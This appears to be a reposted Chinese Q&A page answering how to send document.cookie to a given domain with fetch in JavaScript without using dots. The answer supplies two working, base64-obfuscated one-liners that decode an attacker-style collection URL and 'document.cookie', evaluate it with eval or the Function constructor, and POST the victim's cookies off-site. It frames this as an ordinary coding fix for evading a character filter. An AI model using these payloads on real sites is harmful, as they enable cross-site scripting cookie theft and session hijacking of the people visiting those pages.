JS中避免使用点:如何通过fetch发送document.cookie到指定域名
解决方案
你遇到的核心问题是混淆了静态字符串和动态表达式的处理:
- 你的URL是静态字符串,编码成base64后用
atob解码就能直接得到可用的URL字符串; - 但
document.cookie是一个动态表达式,它的值是当前页面的Cookie内容,如果你只是把字符串"document.cookie"编码成base64,atob解码后得到的只是这个字符串文本,而不是实际的Cookie值。
正确实现方式
要通过base64间接获取document.cookie的值,需要把表达式字符串解码后执行,再把结果作为请求体。可以用以下两种方式实现:
方法1:使用eval
fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { method: 'POST', mode: 'no-cors', body: eval(atob('ZG9jdW1lbnQuY29va2ll')) })
方法2:使用Function构造函数(相对更安全)
fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { method: 'POST', mode: 'no-cors', body: new Function('return ' + atob('ZG9jdW1lbnQuY29va2ll'))() })
原理说明
atob('ZG9jdW1lbnQuY29va2ll')解码后得到字符串"document.cookie";- 通过
eval或Function执行这个字符串表达式,就能获取到当前页面实际的Cookie内容; - 最终把Cookie值作为
body传入fetch请求。
内容的提问来源于stack exchange,提问作者aDoN
相关产品推荐
相关产品推荐

